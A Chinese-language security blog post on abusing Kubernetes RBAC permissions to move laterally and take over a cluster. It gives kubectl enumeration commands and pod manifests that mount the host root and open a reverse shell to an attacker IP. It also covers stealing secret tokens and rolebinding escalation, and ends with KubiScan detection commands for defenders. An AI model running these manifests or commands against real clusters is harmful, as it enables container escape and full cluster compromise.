RBAC權限的濫用

在上一篇文章中我們講了RBAC授權,傳送門:K8s API訪問控制 。并且絕大多數版本的K8s都默認使用RBAC作為其默認的授權方式。那么RBAC授權在我們進行K8s集群橫向移動的時候有哪些可利用點呢?本篇文章我們介紹在K8s集群橫向移動時如何濫用RBAC權限,并通過濫用的RBAC權限橫向獲得集群的cluster-admin權限接管整個K8s集群。
假如我們在K8s集群橫向移動的時候,獲得了一個kubeconfig文件或者獲得了一個Token,亦或者是獲得了某臺pod的權限。那么接下來我們的橫向思路是什么呢?
在之前的文章中我們知道,一個Pod必須要以某一個Service Account的身份去運行,而一個Service Account對應著一個Secret,一個Secret保存著一個Token和公鑰文件。所以獲得了Pod的權限就意味著獲得了一個具有訪問K8s API Server的Service Account,只不過默認情況下該Service Account所擁有的權限比較低而已。而獲得的Token最終也是可以轉換到一個Service Account對象,該Service Account對象的權限取決于它所綁定的角色。而kubeconfig文件也是可以最終轉換到對應的訪問主體上(User/Group),該kubeconfig文件的權限取決于所對應的主體綁定的角色。
所以這個問題最后就歸結到所獲得的kubeconfig文件、Token、Pod所對應的主體綁定的角色如何。

以下我們以獲得了某個Pod權限為例作為演示,這也是實戰中碰到最多的情況。
RBAC權限濫用
首先,需要查看該pod對應的Token所擁有的權限,可以執行如下命令進行查看,查看其他的資源權限命令也一樣。
#查看是否擁有 cluster-admin 的權限kubectl auth can-i "*" "*" --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#列出當前用戶對所有服務器資源的訪問權限kubectl auth can-i --list --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#列出當前用戶對所有指定命名空間的訪問權限kubectl auth can-i --list --namespace=kube-system --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"#pod相關kubectl auth can-i create pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"kubectl auth can-i list pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"kubectl auth can-i get pod --insecure-skip-tls-verify -s https://172.16.200.70:6443 --token="xxxx"
對于不同資源的權限,我們比較關注如下幾個:
- 創建pod權限
- 查看secret權限
- 創建Rolebinding/clusterrolebinding權限
創建POD權限
創建pod權限對于攻擊者來說是很重要的,如果攻擊者擁有了創建pod權限,那么攻擊者則可以在master節點創建特權容器掛載宿主機的目錄,從而進行容器逃逸獲得宿主機master節點的權限,從而接管整個K8s集群。
而創建pod權限也分為在整個K8s集群創建pod和在指定的命名空間下創建pod。
春
指定命名空間
節
如下,創建一個具有創建pod權限的role,名為create-pod,作用的命名空間為test。
kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: namespace: test name: create-podrules:- apiGroups: ["*"] resources: ["pods"] verbs: ["create","get"]

注:要想能創建pod,需要對pods擁有get和create權限。
然后再創建ServiceAccount test-sa,并將test-sa與create-pod進行rolebinding,作用的命名空間為test。
#在test命名空間創建test-sa服務賬戶kubectl create serviceaccount test-sa -n test#將test-sa與create-pod進行rolebindingkubectl create rolebinding test-sa-rolebinding -n test --role=create-pod --serviceaccount=test:test-sa

此時服務賬戶test-sa的token在test命名空間內就具有創建pod的權限了。執行如下命令查看服務賬戶test-sa所對應的token。
#獲得服務賬戶test-sa所對應的secretkubectl get serviceaccounts test-sa -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa-token-s4pgj -n test

假如我們現在獲得了該Token,并想利用該Token進行橫向移動。
可以看到該Token在test命名空間下具有create/get pod的權限。

擁有創建pod的權限我們一般的思路是創建一個掛載了宿主機根目錄的pod,然后再進入pod進行逃逸。如下我們在創建pod的時候指定命令來進行反彈shell,并且掛載了宿主機的根目錄到/mnt下,如下是創建pod的yml文件:
apiVersion: v1kind: Podmetadata: name: myapp2 namespace: testspec: containers: - image: nginx name: container command: ["bash"] args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"] volumeMounts: - mountPath: /mnt name: test volumes: - name: test hostPath: path: /
執行如下命令利用該token遠程訪問API Server并創建pod。

pod創建完成后,可以看到接收到了目標pod的權限,并且掛載了宿主機的目錄。然后就可以逃逸到宿主機了。

注:我們可以直接在創建pod的yml文件中使用spec.nodeName指定master節點。逃逸成功后就直接獲得了master節點的權限了。
春
集群角色
節
如下,創建一個具有創建pod權限的clusterrole,名為create-pod。
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: create-podrules:- apiGroups: ["*"] resources: ["pods"] verbs: ["create","get"]

然后再創建ServiceAccount test-sa10,并將test-sa10與create-pod進行clusterrolebinding。
#在test命名空間創建test-sa10服務賬戶kubectl create serviceaccount test-sa10 -n test#將test-sa10與create-pod進行clusterrolebindingkubectl create clusterrolebinding test-sa10-clusterrolebinding --clusterrole=create-pod --serviceaccount=test:test-sa10

此時服務賬戶test-sa10的token在整個集群內就具有創建pod的權限了。執行如下命令查看服務賬戶test-sa10的token。
#獲得服務賬戶test-sa所對應的secretkubectl get serviceaccounts test-sa10 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa10-token-4c8wm -n test

假如我們現在獲得了該Token,并想利用該Token進行橫向移動。
我們接下來的思路是在創建pod的時候,手動指定高權限的ServiceAccount namespace-controller并指定命令來進行反彈shell,如下是創建pod的yml文件:
apiVersion: v1kind: Podmetadata: name: myapp namespace: kube-systemspec: serviceAccountName: "namespace-controller" containers: - image: nginx name: container command: ["bash"] args: ["-c", "bash -i >& /dev/tcp/172.16.200.60/4444 0>&1"] volumes: - name: test hostPath: path: /

等待pod創建完成,接收到shell。由于這個pod綁定的服務賬戶是指定的namespace-controller,因此具有這個服務賬戶所有的權限。

服務賬戶namespace-controller所擁有的權限如下

因此可以利用該Token做任何事,包括查看集群內所有的secret。


查看secret權限
查看secret權限需要對secret具有list和get權限。并且默認情況下,只有kube-system命名空間下的secret具有高權限。
春
list secret
節
擁有list secret的權限可以列舉出集群中所有的secret,但是不能讀取secret所對應的Token。
如下,創建一個具有list secret權限的ClusterRole,名為list-secret。
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: list-secretrules:- apiGroups: ["*"] resources: ["secrets"] verbs: ["list"]

然后再創建ServiceAccount test-sa2,并將test-sa2與list-secret進行clusterrolebinding。
#在test命名空間創建test-sa2服務賬戶kubectl create serviceaccount test-sa2 -n test#將test-sa2與list-secret進行clusterrolebindingkubectl create clusterrolebinding test-sa2-clusterrolebinding --clusterrole=list-secret --serviceaccount=test:test-sa2

此時服務賬戶test-sa2的token就具有list secret的權限了。執行如下命令查看服務賬戶test-sa2所對應的token。
#獲得服務賬戶test-sa2所對應的secretkubectl get serviceaccounts test-sa2 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa2-token-q588z -n test

假如我們現在獲得了該Token,并想利用該Token進行橫向移動。 查看該token所具有的權限,可以看到只有list secret的權限。

利用該token進行認證可以列出所有的secrets。

但是想查看secret的具體信息的話還是沒有權限,原因在于查看secret的具體信息需要get secret權限。

春
get secret
節
擁有get secert的權限可以獲得集群中指定的secret所對應的Token。如下,創建一個具有get secret權限的ClusterRole,名為get-secret。
kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: get-secretrules:- apiGroups: ["*"] resources: ["secrets"] verbs: ["get"]

然后再創建ServiceAccount test-sa3,并將test-sa3與get-secret進行clusterrolebinding。
#在test命名空間創建test-sa3服務賬戶kubectl create serviceaccount test-sa3 -n test#將test-sa3與get-secret進行clusterrolebindingkubectl create clusterrolebinding test-sa3-clusterrolebinding --clusterrole=get-secret --serviceaccount=test:test-sa3

此時服務賬戶test-sa3的token就具有get secret的權限了。執行如下命令查看服務賬戶test-sa3所對應的token。
#獲得服務賬戶test-sa3所對應的secretkubectl get serviceaccounts test-sa3 -n test -o yaml#查看指定secret的Tokenkubectl describe secret test-sa3-token-k5tm4 -n test

假如我們現在獲得了該Token,并想利用該Token進行橫向移動。
查看該token所具有的權限,可以看到只有get secret的權限。

具有get secret權限可以查看secret的具體信息,但是需要secret的具體名字。而獲得secret的具體名字需要有list secret權限,如下圖所示。當知道了secret的具體名字后即可查看對應secret的token。


因此,僅僅有get secret權限也是不夠的,需要和list secret一起結合使用。
春
K8s默認的高權限secret
節
K8s有如下secret默認是具有高權限的,只要獲得了這些secret的token,就可以進行提權。最后面的五個字符是隨機生成的,并且擁有27^5種可能性,如下:
- bootstrap-signer-token-xxxxx
- daemon-set-controller-token-xxxxx
- generic-garbage-collector-token-xxxxx
- namespace-controller-token-xxxxx
- replicaset-controller-token-xxxxx
- resourcequota-controller-token-xxxxx
- token-cleaner-token-xxxxx
我們以bootstrap-signer-token-962js 為例,查看它的權限。該secret所對應的ServiceAccount為bootstrap-signer
kubectl describe secret bootstrap-signer-token-962js -n kube-system

對Token進行JWT解碼 https://jwt.io/#debugger 也可以看到

查看該ServiceAccount綁定的角色,可以看到綁定的角色為Role/system:controller:bootstrap-signer。
kubectl get RoleBindings -o wide -A | grep bootstrap-signer

最后查看該角色所對應的權限,可以看到所擁有的權限為對secrets具有get、list、watch的權限。
kubectl get Role/system:controller:bootstrap-signer -o yaml -n kube-system

創建rolebinding/clusterrolebinding權限
如果攻擊者擁有rolebinding(作用在命名空間kube-system)或者clusterrolebinding權限,則攻擊者可以將當前所控制的主體與高權限的Role/clusterRole進行綁定,從而進行提權。
如下,創建一個具有create rolebinding權限的rRole,名為create-rolebinding,作用在kube-system命名空間。
kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: create-rolebinding namespace: kube-systemrules:- apiGroups: ["*"] resources: ["rolebindings"] verbs: ["create"]

然后在kube-system命名空間創建ServiceAccount test-sa5,并將test-sa5與create-rolebinding進行rolebinding。
#在test命名空間創建test-sa5服務賬戶kubectl create serviceaccount test-sa5 -n kube-system#將test-sa5與create-rolebinding進行rolebindingkubectl create rolebinding test-sa5-rolebinding -n kube-system --role=create-rolebinding --serviceaccount=kube-system:test-sa5

此時服務賬戶test-sa5的token就具有create rolebinding的權限了。執行如下命令查看服務賬戶test-sa5所對應的token。
#獲得服務賬戶test-sa5所對應的secretkubectl get serviceaccounts test-sa5 -n kube-system -o yaml#查看指定secret的Tokenkubectl describe secret test-sa5-token-l455n -n kube-system

假如我們現在獲得了該Token,并想利用該Token進行橫向移動。
此時我們就可以利用該Token給kube-system命名空間下的test-sa5進行rolebinding,綁定的role為system:controller:bootstrap-signer,該role默認對kube-system命名空間下的secrets進行get、list、watch。但是當我們使用該token進行rolebinding的時候,提示如下錯誤。

那么為什么會報錯呢?
原因在于RBAC API 會阻止用戶通過編輯角色或者角色綁定來提升權限。

檢測RBAC權限濫用
對于K8s集群管理員來說,可以利用下面的這款工具檢測集群內的高危對象。
項目地址:
https://github.com/cyberark/KubiScan

查找集群中所有高危的對象
執行如下命令查找集群中所有高危的對象,如所有高危的Roles\ClusterRoles, RoleBindings\ClusterRoleBindings, users and pods\containers
kubiscan -a
查找具有高權限的Role/ClusterRole
#查找具有高權限的Rolekubiscan -rr#查找具有高權限的Role,并顯示具有的規則kubiscan -rr -r#查找具有高權限的ClusterRolekubiscan -rcr#查找具有高權限的ClusterRole,并顯示具有的規則kubiscan -rcr -r #查找具有高權限的Role和ClusterRolekubiscan -rar#查找具有高權限的Role和ClusterRole,并顯示具有的規則kubiscan -rar -r




查找具有高權限的Rolebindings/ClusterRolebindings
#查找具有高權限的Rolebindingskubiscan -rb#查找具有高權限的ClusterRolebindingskubiscan -rcb#查找具有高權限的Rolebindings和ClusterRolebindingskubiscan -rab


查詢具有高權限的主體
kubiscan -rp

查找關聯了高權限ServiceAccount的pod
kubiscan -rp

查找特權pod
kubiscan -pp

查找指定主體綁定的權限
春
指定命名空間下的ServiceAccount綁定的角色
節
執行如下命令查找kube-system命名空間下daemon-set-controller服務賬戶綁定的角色。
kubiscan -aars "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"

春
指定User綁定的角色
節
執行如下命令查找system:kube-controller-manager用戶綁定的角色。
kubiscan -aars "system:kube-controller-manager" -k "User"

春
指定Group綁定的角色
節
執行如下命令查找system:masters組綁定的角色。
kubiscan -aars "system:masters" -k "Group"

查找指定主體的綁定
春
指定命名空間下的ServiceAccount的綁定
節
kubiscan -aarbs "daemon-set-controller" -ns "kube-system" -k "ServiceAccount"

春
指定User的綁定
節
執行如下命令查找system:kube-controller-manager用戶的綁定。
kubiscan -aarbs "system:kube-controller-manager" -k "User"

春
指定Group的綁定
節
執行如下命令查找system:masters組的綁定。
kubiscan -aarbs "system:masters" -k "Group"
